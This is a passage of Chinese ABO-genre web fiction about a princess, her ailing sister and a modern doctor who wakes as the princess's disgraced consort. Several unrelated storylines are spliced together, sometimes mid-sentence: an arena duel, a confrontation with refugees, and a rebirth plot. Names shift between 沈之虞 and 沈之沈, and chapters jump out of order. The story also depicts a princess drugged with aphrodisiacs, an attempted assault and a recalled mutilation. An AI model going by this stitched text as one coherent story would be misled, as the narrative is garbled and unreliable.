可她带领的离国一路扶摇直上,通过烧杀抢劫已然占领北面的大半土地。 “她想大一统,也不看看自己有没有那个能耐。” 沈之虞眼底冰冷一片,声音低沉毫无温度。 萧蕴离,她最好不要让她在看见。沈之虞捏着扇柄的手不由紧了紧。 “月国使臣在即,离国暂时还掀不起风浪。” 沈之虞看着她,眉眼舒缓开,不想让一些事惹得沈悦不开心。 “不要为了这些事伤了身体,我让人给你备了补心丹跟养神汤,你按时服用。” 沈悦走过来抱住她肩头,将脸贴合在她身畔,眼底放松,软着嗓子:“那些药我已经吃腻了。” 太医开的每一味都是上乘补品,可从小吃到大,这身体都要成药人,每日闻着宫女端来的瓷碗她就犯恶心,可看着沈之虞眼底的期许,她不能在令她担忧。 “阿悦,我一定治好你。” 沈之虞扳正她的肩头,细瘦纤薄,一胎所生,她比她要高,出一个头,而沈悦则常年离不开暖手壶,室内四季需要燃着地笼,沈之虞心往下沉,握着她的手也更加用力了些。 沈悦蹙眉,知道自己又让她担心。 不由换了个轻松的笑脸,“姐姐,下次你来我送你样东西。” 沈之虞挑眉:“什么?” 沈悦道:“到时你就知道了。” 说完对她眨眨眼,沈悦想到此,喜上眉梢,欣悦从心底荡出。 沈之虞扶她过去坐下,将毛毯盖在她身。 花伶站在一旁,每次长公主来,陛下才会心情开阔言语多些,这偌大的皇宫要是没有长公主,真不知陛下该如何度日。 “你手怎么了?” 沈之虞弯腰之际,忽然拿起她右手,手心里一点一点的密密麻麻都是伤,周围温度瞬间就掉下来。 沈悦立刻道:“我自己不小心碰到了长盛球才这样的。” 说罢她小心翼翼看着沈之虞,见她眉眼阴鸷飚出,知道自己身体一直是她大忌,沈悦抱住她:“我看长盛球开了花,明黄色的好看极了,就忍不住碰了下,结果” 沈悦越说声音越小,好像做错事的小孩。 沈之虞拧眉,好一会,不悦道:“长盛球也敢随意碰,真不知道说你什么好。” “找太医来看了吗?” 沈悦见她就此翻篇,松了口气,“我让花伶擦了药酒,不会感染,小伤口。” “你是女君,身上没有小伤口。” 沈之虞淡淡道。一波波,此起彼伏。 十七看着一人斩杀三匹狼的女子,剑鞘微动,她赢了,可也失了大半力气。 想要万里行离开,恐没那么容易。 少师在面具下看着狼藉一地的斗兽场,自己身上也没能躲开血迹斑斑,沈之虞发现了她,她在昭国便不能久留。 万里行宝马,世间难得。 有了它,她离开昭国便胜算又加一分。 收起刀,佛陀搁有人开锁进来的瞬间,头顶一阵剑风扫过,她敏锐的抬头,一个蒙面的黑衣女子,长剑凌厉,像她直直刺来。 “长盛球的针刺带微毒,一日都擦了几次?” 沈悦悄摸看了花伶一眼,对方上前,躬身道:“回长公主,陛下陛下晨起已经拭过一遍,太医一直紧跟着。” 沈之虞点头,眸间寒光一晃,“好好侍奉陛下。” 花伶立刻跪地,“是臣失职。”少师弯刀跌落地面,嘴角喷出一口老血,十七剑尖抵在她眉心前,目光冷淡。 “是你。” 少师了然,那日交手已然有所察觉,她是沈之虞身边的护卫。 十七冷声:“是我,来杀你。” 少师看着被挑落的面具,长发也凌乱不少,今天难道栽了? “行吧,那你过来。”回了公主府,季平安困得真不开眼,沈之虞将她安抚睡下。 红绸把脉后起身,看着她:“殿下。” 沈之虞看着床上目光柔和,声音也跟着温柔:“可有不妥?” 红绸道:“坤娘怀孕初期需好生将养,过了头三月,胎像平稳,后续一般问题不大。” 她是天生的中庸,并不能感受到季平安身上的信素,所以不论乾坤对她皆无影响,这也是她被选为公主府暗卫之一的原因。 “暂不必与她告知。” 沈之虞像是想到什么,淡淡开口。 红绸嗯了一声,恍然惊讶,难道季平安还不知道自己怀了身孕? 天! 也不知道长公主在布什么局,红绸将安胎的药方留下便撤离。 沈之虞看着那张奔波后疲倦的面容,伸手将被子给她掖好,这丫头,还蒙在鼓里,以为自己只是普通的伤寒。 既然如此,沈之虞看着桌上药方,眼底意味不明。 坤娘孕期一般极为敏感,季平安这样的,恐不会例外。 只是头三月属于关键期,不能出岔子,沈之虞想想在佛陀阁内,季平安化为绕指柔在她身下辗转,那美妙的感觉越发隆重的将她包围,与她在一起的时刻,时间是快的,好似登上极乐,她好像对这具身子上了瘾,每每乾娘信素被勾出就难以收场,看来,她要给季平安制几副特别的宝贝。 月光透过窗柩撒在两人身上,沈之虞抚着沉睡之人的面颊,满室烛光氤氲,画面温馨而和谐。 少师有些颓败,十七蹙了眉头缓步上前。 “次啦” 周围一阵白色烟雾,十七立刻用手臂遮挡,熟悉的香味,她就知道这人肯定不会乖乖就范。 少师飞身离开铁栅栏,直接上了二楼顶,遁身隐没在夜色间。 十七即刻间追上去。 徒留地上看热闹的一群人,有的发出惊叹,有的惋惜,狼死了,结果奖励反倒没拿到。 季平安彻底软为一滩水,沈之虞将她裹紧实,抱着她从另一边窗户飞身离开。 佛陀阁主来此,看着满地疮痍,好啊,在她地盘上闹事。 空中那抹艳丽的红色身影,蒙着面纱,怀中似是抱了一个。 她面色阴鸷,沉着嗓子:“让她留下。” 又看了眼斗兽场,一股熏天腥味,淡淡道:“扫了,准备下一场。” 沈悦见状,拉着她衣袖,晃了晃“我真没事了,姐。” 沈之虞板着脸,在她鼻尖刮了下:“再有下次,就罚死她们。” 沈之虞黑眸沉稳,不急不徐:“城中近日怕不得太平,也要提早做出安排。” 沈悦点头,坐直身子,看着殿下:“此事就交于长公主。” “至于失踪案,丞相。” 说完,她又看向许子光身后的流民,说道:“你们若是上前一步,她的命就没了。” 被威胁的许子光闻言,反倒嗤笑了下,随即便道:“那你不如把我们全杀了!全杀了!” 许子光灰蒙的眼睛里,反倒带了些疯狂:“你们是要到京城里面吧?搜刮民脂民膏还是要准备草菅人命,反正我们几百个人,还不如你们随随便便养的一条狗!不如就把我们全杀了!” “我娘六十岁被拉去修长生殿,翠翠还怀着孕,每天要做六个时辰的工,连喝口水的时间都没有,孩子硬生生地流了出去。” “我们整整修了三个月,没有一分工钱,被人从京城里面赶出去,到现在已经一个多月没吃过正经饭,挖草叶啃树皮,你是觉得我们怕死吗?!” 在路上打劫,只是她们想活的最后一次尝试罢了。 许子光说完,路上安静了几秒。 沈之虞却在此刻开口。 她看着许子光道:“你们不怕死,但是我能够让你们活。” 第 56 章 第 56 章 她们在的位置,距离京城还有一些距离,约莫两天左右的行程。 京城的禁卫军管不到,旁边县城的县令也不愿意为自己多找麻烦。 毕竟官员进京会走官道,走这条路的一般都是商人。 无论发生什么事,只要不闹大,县衙里面的人都会当不知道,这也是为什么许子光会选择在这里拦人。 只是她没有想到,对方的侍卫每个都带着刀。 终归是老天不眷顾她们,没有这个运气。 “让我们活下去?”许子光直视着沈之虞道:“你觉得我会信你吗?” 月落惊讶她刚回来就问这个,而且自己的这位主子说话音调上扬,整天咋咋呼呼,吊儿郎当的,没个正形,今日说话的感觉完全不一样,显得清雅稳重。 “老王家的馎饦每日宵禁前半个时辰结束,宵禁结束后的一刻钟开门,城西的羊肉烤饼,要李大娘家的最好吃,她家的开门时间跟老王家一样。” 宵禁的时间是安上戌时中到次日清晨寅时中,她要是宵禁一结束就出门,来回时间也挺长的。 “我知道了。”季平安毫不在意春归的态度,翻开沈之沈的眼皮看了一眼。 “熏上药香吧,不能扎针了,总睡不踏实可不行。”寒冬腊月,大雪纷飞。 公主府的暖阁里,弥漫出令人动情的异香,异香与窗外冷冽的雪香相似,但里面掺杂着一些清香,似雪中的山茶花,在严寒下,仍保留着那份傲骨,独属于自己的独特魅力。 季平安的鼻尖萦绕这样好闻的香味,特别是这香中带着冷淡的性张力,空气逐渐变得旖旎起来,她被勾着想要去追寻香味的源头。 她猛然想起,自己此刻不是应该在参加全国中医交流大会的路上吗? 季平安强忍着后脑勺的疼痛睁开眼,艰难地伸出手摸了下自己的脑门,黏湿的触感吓了她一跳。 她忙看了一眼手掌,鲜红一片,谁把她给打出血了? 下一秒,她就被面前古色古香的房间吸引,映入眼帘的金丝檀木架子床,床上躺着一个面色潮红的女子,一袭白衫,衬的女子气质出尘。 若不是女子眸中对她的厌恶,季平安怕是还不能回过神来。 网络发达的今日,网上各种美女都有,像床上女子这样清雅绝俗,姿容秀丽无双的,依然少见。 主要是女子身上强大的气场里,多了一份书香禅意,本该是人间富贵花,却历经了人间疾苦。 看着这样的女子,季平安的心都抽痛起来,可她为什么会在这里? 额头上的疼痛明摆着告诉她,这不是梦,一切都是真实的。 季平安犹疑地靠近女子,女子立即谨慎地看着她,好像她是什么强迫人的流氓。 她只能温声道:“你别怕,我不是坏人,你能告诉我这是哪吗?” 女子眉头紧蹙,表情更加的痛苦,看着她的一双眼睛里的冷寒,像是要把她冻死一样,除了恨意,她看不到别的,嗜血的眸子,恨不得将她千刀万剐。 “滚!”女子哑着嗓音,语气充满了戾气。 季平安晃了下脑袋,她感觉空气中的香味越来越浓了,鼻尖萦绕着的冷冽清香,按理说该提神醒脑的,却让她有些沉迷,一种对女子的渴望升腾而起。 她连忙后退了一步,有点儿明白女子为什么不想她靠近了,空中的香味里带着能引人欲望的药香。 季平安强忍住身体的不适,得亏了额头上的疼痛,才让她能保留着清醒。 这时,外面传来一道声音,“宝安王递上拜帖,已在公主府外等着了,公主殿下去哪了?” 闻言,季平安一个激灵,王爷公主?她这是穿越了? 突然,她的脑袋一阵剧痛,一段不属于自己的记忆出现在了脑海中,她的眼睛猛地睁大。 面前的女子是沈之沈?不就是她去参加中医交流大会的路上,看的一本古代abo小说吗? 小说里面的男主就是那个宝安王,而公主殿下沈之沈是反派,事实只是立场不同。 书中的皇帝无子,只有沈之沈一个女儿,遗诏让沈之沈做摄政长公主,皇位传给了宗室比较亲近的血脉,也就是宝安王。 长公主容貌绝伦,是大周的第一坤泽,不喜权力斗争,一开始全力辅佐新帝,直到新帝出尔反尔,不承先帝遗志,不尊先帝为父,于是长公主与宝安王为争夺大周政权最后的归属,开启了一场凶险惨烈的斗争,失败者万劫不复。 可惜长公主终究不够狠,也没有身为主角的气运,最终被算计惨死。 其中第一个背刺长公主的,就是炮灰驸马,看小说的时候季平安就很讨厌这个人,这人是破落侯府的嫡次女,妥妥吃祖荫的纨绔,为人阴险愚蠢,长了一副好相貌,却是个很卑劣的乾元,她觊觎长公主美貌,当舔狗不成,设计造谣长公主名声,皇帝为了堵住天下人之口,只能给两人赐婚。 成婚后,长公主不让人渣驸马近身,双方分房别居,人渣却借用驸马的身份到处惹是生非,坏长公主名声,在一次醉酒,又被狐朋狗友怂恿,前身意图生米煮成熟饭,居然给长公主下药,害得长公主在寒冬腊月进入寒泉,伤了腺体,终身残疾,生不如死。 自那以后,温良率真的长公主,变得心狠手辣,杀伐果断,以嗜血狠厉的手段,杀尽了伤害过自己的人,人渣驸马是第一个被报复的人,长公主把她削成了人彘,泡到了酒坛子里折磨致死。 这样爱憎分明,强大聪慧的女子,哪怕是个反派,季平安看小说的时候也很喜欢,她认为只是小说定义了沈之沈是反派,实际上沈之沈跟主角只是立场不同,恰好宝安王是主角,多了一分运气。 可想到沈之沈日后要杀的人里面有自己,季平安不由得打了个寒颤,谁让她就穿成了这位人渣驸马呢。 更糟糕的是,她穿书的时机不对,摸着怀里的春*药,季平安彻底傻了,后背涌上丝丝凉气,想到前身日后的结局,她快要碎了。 春归微愣,扭头看向还在睡的郑翳,一头黑线,这人睡的可真沉啊! 沈之沈需要平静下来,情绪上引起身体的剧烈变化可不行,她体内的药效可是还有残留呢。 一瓶春*药被前身用完了,别说一个人,就是一头牛也抵挡不住,不然郑太医的清凉丸就够用了。 春归季疑了一瞬,去叫醒了郑翳,她迷糊地睁开眼,“殿下怎么了?” 见她还记得自己在看护公主殿下,春归的脸色好了些许,把事情说了。 郑翳赶紧道:“驸马要的香倒是有,等我去拿些。” 春归摆手,“不必了,我叫人去拿。” 春归走出去,郑翳上下打量着季平安,随即道:“原以为驸马只是祖传的方子,现在看来,驸马懂医。” 驸马季平安就是一个纨绔,以前侯府败落,却还是宠着她,不惜变卖家产为她还赌资,京都人皆知,驸马有两大爱好,一赌二酒,逢赌必输,每日必醉。 这样的败家程度,在京都其实排不上号,让她声名大噪的是,她对公主痴情,谁都知道她喜欢公主,为此每到烟花之地,也只是喝酒赌钱。 郑翳觉得,这样的痴情对公主殿下来说就是耻辱,况且对比公主别的爱慕者,季平安怕是要排到京城外了,多少人嘲笑她痴心妄想,癞蛤蟆想吃天鹅肉,可最后居然让她成为驸马了。 虽说季平安长得不错,可人面兽心,不是个好东西。 这人成为驸马后,落魄已久的淮安侯府又重新得势了,近日淮安侯一家受封,可是风光得紧呢。 淮安侯府凭着季平安做了驸马,在外面干了不少坏事,逼良为娼,兼并民田,随意殴打百姓等,公主知不知道这些事,郑翳不清楚,但是她是知道的,季平安在外还口出恶言,说与公主的私密之事。 可她刚刚给公主诊断,公主明明是完璧之身,有这样的驸马,她都忍不住心疼公主了。 如果她没有猜错的话,公主的药也是季平安下的,只不过今日跟季平安接触,她倒是觉得那些传言,不一定为真。 可能真的是知人知面不知心呢,大周的这位圣元帝宠幸的奸臣还少吗? 郑翳对这位人渣驸马,突然起了兴趣,所以主动搭话。 季平安挑眉看向郑翳,这人在装睡。 原以为只是一个十七八岁的小女孩,现在看来,古代的十七八岁不容小觑。 现代十七八岁基本在奋战高考,古代的十七八岁,都能掌家了,天才已经进士及第吃上了官家饭。 等着安神香焚上,沈之沈再次陷入了熟睡,只不过这次睡得很安静,刚刚紧皱的眉头也舒展开来。 季平安躺回软榻上,暖阁太热了,她只用被子角盖了下肚子。 今日她的大脑一直在高速运转,又施了那么久的针,精神紧绷着,一停下思考,很快进入了睡眠。 季平安想了一下,这么远的路程肯定先去买烤饼,然后从城北到城西买馎饦回公主府,来回得两个时辰,回到公主府怕是得辰时了。 这倒不是问题,问题在于,怎么把食物完好无损地带回来,饼会凉,面会坨,尽管沈之沈不一定会吃,可能只是单纯的刁难,可对方既然提出要求了,总得想法子完成。 季平安让月落找了个食盒,在食盒外裹上了一件厚的毛皮,明日就拎着这个过去。 沈之虞道:“记得。” 季平安:“皇帝修建长生殿劳民伤财,还草菅人命,传出去的却都是和你有关的事情。” 这样大家的注意力自然会转移,皇帝用“死去”的女儿,维护了自己的好名声。 沈之虞听到这话,内心竟然没有丝毫意外的情绪。 她垂了下眸道:“可能他就是这样的人。” “是啊。”季平安附和道,“这样的人又怎么配坐在那个位置呢。” 这个朝代正在等待一位明君。 第 57 章 第 57 章 闻言,沈之虞道:“你之前似乎说过类似的话。” 季平安思考了一瞬,问道:“我说过吗?什么时候。” “大柳村的时候。”沈之虞记得清楚。 当时有传言说,西边的一些县城去年庄稼没有收成,县令反而加重赋税,于是百姓们叛乱,占了个山头当寇匪。 沈之虞:“你当时说,皇帝也同样昏庸,不如换个人来做。” 古代没有闹钟,凌晨三四点钟就得起,季平安让月落叫自己,等她出门了,放月落一天假,让她随便睡。 清晨,季平安艰难得睁开眼睛,穿上厚重的外套,还加了一件加绒的披风,把自己裹得很厚实。 冬日里面,白天已经很冷了,夜里更是冷得受不了,她加了一层又一层,才勉强觉得没那么冷。 “驸马,要不我跟您一起去吧?”月落都困的没精神了,可还是强撑着。 “不用,你睡吧,我自己去。”清晨,沈之沈醒来,这一次她表现得很冷静,弄清楚了自己重生回来了之后,她的情绪自然不会再激动。 她怎么也没有想到自焚重生后,第一眼看到的居然是被她削成人彘的人渣驸马。 到了深夜,沈之沈心绪未平,还以为所谓的重活一世是自己的错觉,恍惚间她还以为自己进了地狱。 有人说,伴侣两个死后也是要在一起的,想到自己只是杀了那个人渣,并没有正式与那人和离,说不得死后还要跟人渣纠缠不清了。 要是这样的话,新鬼哪能斗得过老鬼,所以在看到春归的那一刻,她喊春归杀了季平安,就算是老鬼也要再死一次! 沈之沈再次醒来,看着关切的春归,捏了一把夏去的胳膊,才知道自己不是做梦,也不是幻觉,她是真的重活了一世。 在看到软榻上的季平安时,她抽出了夏去腰间的匕首,犹豫了许久,她最后只是把匕首扎到了软榻上。 可这人睡得太死了,匕首扎到耳边都没有醒。 季平安也很担心啊,她其实在沈之沈抽刀的时候就醒了。总之,她不能用现代的十七八岁,跟古代的十七八岁对比,说不得什么时候就被人玩弄在股掌之中了。 于是季平安只是看了郑翳一眼,一言不发地坐回了软榻,她刚穿过来,说多错多,还是不要说话的好。 没一会儿春归回来,身后跟着几个婢女,她们开始准备焚香流程。 她在赌,赌沈之沈不会对自己动手,堂堂长公主对帝心朝堂肯定看得很明白,除非她想远离京都,远离自己的父皇母后,被发配到偏远的封地去。 小说中的沈之沈隐忍了许久才削了前身的四肢,季平安觉得现在结果没有小说中的那么坏,至少她没有真的对沈之沈做什么,并且沈之沈没有废掉,这样的话,她更不会对自己动手了。 万一如她猜测,沈之沈重生了的话,对方对前身已经恨之入骨,那她就更不能睁眼了。 不睁眼还好,一睁眼匕首就直接扎她脑袋上了。 不过她相信,沈之沈不会那么不管不顾,再说了,穿越过来后,以她的身体素质还有精神敏锐,只要感受到对方的必杀之意,还是能躲开的,倒是如果睁开眼,事情就麻烦了,综合考虑后,这个眼暂时还是不睁开的好。 见沈之沈真的没有动手,季平安心中松了一口气,她身上冷汗都出来了,等了一会儿她才幽幽地睁开眼睛。 匕首就在她眼前,不足两厘米远,原本还匀速跳动的心脏,扑通扑通地加快了速度,匕首离她这么近,稍微动一下,恐怕就要碰到匕首了。 季平安故作惊吓的模样,“有刺客!” 夏去把匕首拔出来,语气嘲讽,“驸马胆子也太小了,怎么一把匕首都害怕。” 匕首放谁脖子上,谁不害怕。 季平安连忙从床上起来,看向沈之沈转移了话题,“殿下醒了啊,折腾了这么久,可以用些吃的,但要清淡,一刻钟后,再给殿下吃药。” 沈之沈冷漠地盯着她,脸上没有一点儿情绪,看的人心里慌慌的。 此刻沈之沈的身体应该很不好受,表面看起来没什么问题,但五脏六腑都经过灼烧,烧心烧胃烧肺,哪怕毒解了,身体亏空依然严重。 沈之沈这会儿提不起力气,稍微饿一点点的,胃就像是在被火烧一样,若不是上辈子逃回京都的路上,吃了太多的苦,让她能忍住剧烈疼痛,这会儿她面上不这么轻松。 圣元二十八年春,按照现在的时间算就是明年,她替父皇去往玄阳寺为国祈福,结果有人放火烧寺,谣言长公主不配为国祈福,天降惩罚。 夏去护卫她离开玄阳寺,结果还遭遇刺杀,她一条腿受伤,伪装成乞丐讨饭,靠着夏去拉着一块木板把她拉了回来。 而刺杀她追杀她,让她陷入险地,差点儿要了她命的罪魁祸首,就是季平安这个人渣。 季平安倒也没有那么压榨人,让月落熬夜她已经很不好意思了,但她从穿过来到昨安都没怎么睡,她怕自己骑马的路上摔下去,怎么也得睡一下。 她阻止了月落跟去,迈步去了马厩,这里马匹很多,前身的马也在这,而且很好找,这么多高头大马里,只有她的那匹显得有些瘦弱了,还有点儿丑。 季平安这边拿着篮子刚牵马离开,沈之沈那边就得到了消息。 她觉浅,睡着就开始做噩梦,一夜不知醒了几次,见时间差不多了,干脆就不睡了。 春归这边刚伺候她洗漱,夏去就走了进来,“殿下,驸马出门了。” 沈之沈微微颔首靠在床边,对季平安的离开毫不在意。 “殿下,秋来路过武城,那边发了雪灾,车马不通,她用闪电传回了信,说死的人太多,不及时处理的话,过了年开春变暖很容易发生瘟疫。” 瘟疫?沈之沈想到上辈子这个时候,武城确实发生了瘟疫,当时她刚成为一个废人,秋来想尽办法,用两条腿走回了京城为她治疗,但没多久武城就爆发了瘟疫。 秋来救治完她就赶紧过去,那个时候已经死了很多人了。 一场雪灾,以现有的手段,只能等雪化了慢慢施救,最起码要三五个月,春天一到,日子逐渐变暖,尸体不及时处理的话,就会生出瘟疫。 沈之沈握紧了拳,她这一世没有废,身体虽有恙,刘院判诊治过了,只需时间休养,并无大碍。 “给秋来传话,让她留在武城,跟她说,保护好自己。” 上一世秋来很遗憾,自己明明发现了治疗瘟疫的办法,可发现的太安了,已经死了太多人,剩下很多得了瘟疫的人,被官府派人集中在几个村子里面,一把火全烧了。 官府骗得瘟疫的人说,那些个村子是治疗点,管吃管住免费治,结果只是为了杀了他们,主理雪灾的人是颖王,因此还得了封赏。 后来她联合宝安王一起把瘟疫得到控制的真相传出去,才把颖王拉下马,这一世,就让秋来留在武城,这样秋来就不会像上一世,死的时候都还在自责了。 沈之沈垂眸,目光幽幽,想到这件事,她对季平安的恨又多了一层,要不是季平安给她下药,秋来就不会着急回来,路上腿一直走在雪里,等到了京都,一双腿也废了。 无论如何,这些事情都跟季平安那个人渣脱不了干系。 春归点头,还好殿下的毒没有什么事,秋来可以留在武城,这么看来,驸马的医术是真的不错,御医都束手无策的毒,她能解,还没有后遗症。 想到季平安,春归又道:“殿下,旨意今早就会来。” 听到这话,夏去不解地问,“殿下,为何要给季平安请官?她给我们找了太多麻烦了。” 春归立即笑骂,“你这傻妞,公主这么做自有用意,不懂就多看少说。” “你才傻妞。”夏去回怼道。 沈之沈看了她一眼,眉眼有了笑意,跟在她身边的春夏秋冬,都是母后让外祖家精心调教出来的,跟了她一辈子,可惜最后死的都很惨烈,她隐忍克制自己不杀了季平安,为的不就是自己还有跟随自己的人,最后能有一个好的结果吗? 不然明知道是死,那她宁愿两败俱伤,趁现在都杀了算了。 季平安这会儿,怕是快到城西了吧? 沈之沈心中冷哼,真以为她这个公主那么好伺候的,也不看看单伺候她生活起居的,就足足数百人,一个不得用的人渣,也配? 流民的事情耽误了些时间,因此接下来的路她们赶得快了些。 等到第九天的晚上,终于赶在城门关之前,进了京城。 到了京城,沈之虞自然要回自己的公主府。 镇云侯夫人原本想的是先送沈之虞回去,再回镇云侯府。 不过沈之虞拒绝了,“借夫人一辆马车便好,这些天也麻烦夫人了。” 镇云侯夫人也只能叮嘱车夫道:“夜里天色暗,你务必小心些。” 和人告别完,沈之虞回到马车上,季平安和她对视一眼。 京城,她们回来了。 第 58 章 第 58 章 城门的位置显得有些空旷和安静,但越往里面走便越显得繁华,坐在马车里面都能听到外面熙熙攘攘的声音,格外热闹。 季平安掀开马车的帷帘,看着只在名字里听说过的熟悉又陌生的京城。 京城的路要比东和县的路宽的多,两辆马车并行也绰绰有余,而且都铺着小石子或者石砖,完全不用担心下雨的时候会溅到裤脚上泥点子。 旁边林立的店铺也很多,牌匾各有千秋,三层五层的酒楼也随处可见。 金黄色的灯笼挂在酒楼前面,里面灯火通明,连带着香气都飘了出来。 进城的时候,镇云侯府便和她们说过,城门关闭的时间是戌时,也就是晚上八点左右。 公主府内,沈之沈听着春归汇报,心中大感疑惑。 季平安居然能这么硬气地跟家里说话?还有什么与她一体,生死相随,这都是什么怪话! 春归偷偷地看向自家公主的脸色,很震惊驸马居然能说出这种话,真怕公主一个忍不住,就拿刀把她劈了。 谁不知道驸马是一个只有美貌的草包,竟然还要告御状,当真让人刮目相看。 先是医术,又是在淮安侯府的一顿输出,春归感叹,“殿下,驸马似乎变了。” 但沈之沈认为,这些可能只是季平安为了改变自身结局,被迫去改变,去跟侯府决裂,实际上本性难移。 有一点儿能确定,季平安肯定能跟她一样,知道天下大势的发展,可季平安的医术还有各种表现,让她觉得季平安又不一定是季平安了。 哪怕重生,蠢货依然是蠢货,不会的东西也不可能突然就会了,季平安的变化太大,让她有些犹疑,难道真的是孤魂夺舍? 反正暂时也不能杀了季平安,就再观察观察。季平安回到暖阁时,里面已经焕然一新,所有用过的东西都换掉了。 沈之沈安静地躺在床上,没了凶巴巴的模样,季平安帮她把了下脉,感受着她的身体彻底平静下来,这才放下心来。 春归让人送来了安膳,“驸马,公主这边臣来照顾,你先去用饭吧。” 尽管春归的品级比她高,还是自称臣,毕竟驸马是半个皇室。 季平安的肚子确实空荡荡的,就点头出去了,别说,公主府的饭菜还不错。 季平安不知道,自己这边刚走,那边沈之沈就醒了。 “春归?”季平安想到自己的日记,满心的无奈,攻略还在继续,驸马还需努力。 她这个驸马,一点儿权力也没有,也没有钱,当得还真是没趣,罢了,小命要紧。 季平安刚到永宁院,就被夏去拉着离开,“做什么啊夏将军?” 夏去上下打量了她一眼,见她身上不是湿漉漉的了,也换好了干净的衣服,脚步走得更快了,“去前院,陛下有旨。” 圣旨?她还没接过圣旨呢,前身也只是在成为驸马的时候接了一下圣旨。 季平安就这么被拉到前院了,传旨的太监看到她,阴柔地喊了一声,“驸马怎么才来,臣都等许久了。” 或许是知道这里是长公主府,太监虽不满,却没有再说什么,因是传旨钦差,太监把姿态放的比较高。 随后太监打开了圣旨,“驸马季平安接旨。” 季平安跪地,“臣,季平安接旨。” 前朝接旨还需沐浴焚香,到了本朝,只要衣物洁净,不是蓬头垢面就行。 “诏曰,驸马都尉季平安,奉公守职,兢兢业业,正直聪慧,特擢升为正五品奉议大夫,任圣京清远县知县,望其不忘本心,忠君爱国……” 后面的季平安没怎么仔细听,她就知道,自己突然升官了,还要去做县令。 正五品奉议大夫是文散官,就算职位变化,身上的散官位也不会变的,领俸禄什么的也是按照这个,文官的散官可不像武官能随便封,文散官得读书人,怎么得是个举人进士。 而且她还有了实职,清远县就在圣京旁边,来回也就一两个时辰,京城的知县是正六品,在京都不是什么大官,往外面一放,那可是京官,别人求都求不来的机会,就这么给她了? 季平安愣住了,夏去无语地白了她一眼,区区七品官,也至于如此,她赶忙上前递给太监一大锭银子,“大监有劳了。” 送走了传旨太监,夏去轻哼一声:“没见识。” 季平安也不与她计较,自己这是鸟枪换炮,一下子就阔起来了。 “驸马,你还是先想一下,怎么去赴任吧。”季平安小心翼翼地抬头,沈之沈正举起簪子就要刺入大腿,试图保持清醒。 她连忙扑过去,簪子刺中了她的胳膊,额头上本就疼得要死,现在又多挂了一条彩。 沈之沈脸色一变,拿起簪子还要刺她,季平安赶紧夺去了簪子,此刻的沈之沈没有什么力气,很容易就被按到了床上。 沈之沈乃大周长公主,天潢贵胄,从未有人敢这么对自己,可季平安是她的驸马,前身也是吃准了这点,伴侣恩爱,哪怕用强的,皇帝知道了也不能怪罪,非要怪罪,反倒是伤了皇家名声。 被如此欺辱,沈之沈一双眸子冰冷,只要有一丝力气,她就会毫不犹豫地杀了季平安。 其实季平安也很不好受,沈之沈是顶级坤泽,身上的信香对乾元来说比所有春*药都管用,她体内的欲望被引的正在沸腾,难受得很。 得亏了替沈之沈挡了这一下,她的意识清醒了些许。 季平安也顾不得身上的疼,连忙拿出药品放在鼻尖闻了闻,这就是常见的春*药,只是前身给沈之沈吃得太多了,导致了对方越发无法克制。 她随手把春*药扔到一边,单膝跪在床边真诚道:“你中的春*药我能治,真的。” 只是,沈之沈依然冷漠,嗜血的眸子充满恨意的紧紧地盯住季平安,她不信季平安,更不会让季平安靠近。 而且她白皙的脖子上有着黑红的手指印,明显是前身掐的,凄惨破碎的长公主殿下,依然傲迎风雪,丝毫不惧面前的恶毒人渣。 季平安这才想起,这是沈之沈推开前身时,前身恼羞成怒掐的,她真是离死越来越近了。 况且外面宝安王来访,公主的婢女寻不到人,必定会生疑,然后发动所有人来找,她当然不可能对沈之沈做些什么,可也不能什么都不做,否则只有死路一条。 特别是沈之沈的眼神,痛苦森冷,她在无言地告诉季平安:孤,一定会杀了你! 马上就要过年了,按理说不用着急去报道,对清远县她也不太熟悉。 季平安现在要人没人,要钱没钱,确实是个麻烦,“什么时候上任为好?” “圣旨已下,三日内最好上任,要是陛下觉得驸马你不上心记上一笔,你就完了。” 季平安无语,这个夏去怎么老吓她。 旁边公主府的下人手里捧着黑色官帽,红色官袍,玉制腰带,看着就很唬人。 玉制腰带是参加重要典礼使用的,平时用革带就行,最多加个玉扣金口的,而且这也不是谁都能用的,得看品级,她是驸马,尽管只是一个小知县,一些官员配置,她用的都是宗室这边的。 还有蹀躞带,算是多功能腰带,能挂很多东西,发展到现在,都是武官放刀剑什么的,或者是走南闯北的人,为了方便使用。 季平安也更喜欢这些方便的腰带,像那种玉带,走路都得小心翼翼的不太方便。 不过那都是身份的象征,她想要携带东西的话,古代有不少时兴的包包,款式有华贵的,多功能的等,用布料皮毛制造的,还是纯手工。 前身的衣柜里就有几个,季平安看了一眼,都是用来装饰的,没有什么实用的,她想买实用的,但她没什么银子。 真是干什么都得赚钱,日后用钱的地方多着呢。 季平安自己接过官服什么的,往自己的小院走去,她刚走了几步,就听人在喊她。 “驸马呢?驸马在哪里?快找驸马来,殿下晕倒了!” 沈之沈晕倒了?季平安赶紧把官服放在旁边夏去的怀里,快步往永宁院跑去。 “殿下。”春归快步上前,“驸马的方子果真管用。” “她?”沈之沈想起昏迷前发生的事情,怒气屈辱一下子涌上,恨不得现在就杀了季平安。 堂堂长公主,皇帝独女,无兄弟姐妹,集万千宠爱于一身,这样的羞辱,比杀了她还令人难受。 重生一遭,她更知道人渣驸马做了什么。 沈之沈艰难伸出手抓住春归的胳膊,“杀了她!春归,给孤杀了她!” 沈之沈还有更重要的事情要做,她也是重生归来,而她不只是想改变自己的命运,生死一瞬的时候她就想过,这皇位,别人能做得,她沈之沈也能坐得,所有阻挡她,试图毁掉她的人,她会毫不犹豫地举起屠刀- 公主府提供的一切,自然都照着顶尖的规格来。 被褥和枕头都是用锦缎做成的,光滑无比,连床边挂着的纱帘绣着复杂精美的花样。 第二天醒来后,季平安缓了会儿神才意识到自己是在哪里。 岁岁还在睡,她也没有打扰小孩,放轻动作从床上坐起来,就看到旁边已经放好了今日要穿的衣服。 和普通的布衣棉衣不同,锦衣看着便格外好看有气质。 当然,季平安关注的重点倒不在这个上。 她把衣服翻来覆去看了两三遍,又捯饬了好一会儿,才终于把衣服正确的穿到身上。 穿完衣服打开门,季平安很巧地看到了外面的沈之虞。 对方墨色的长发用一支羊脂玉簪别住,唇瓣浅浅地带了层胭脂色。 穿了套月白色的衣服,袖口上面隐约可见淡蓝色的刺绣。 分明是素净的颜色,但穿在沈之虞的身上,便自带一股清冷的气质,如同水墨画里面走出来的仙子。 季平安看了会儿,抬手捂在自己心脏的位置。 知道你喜欢美人,但是能不能不要跳的这么快啊喂! 第 59 章 第 59 章 沈之虞注意到了她的动作,问道:“怎么了?” 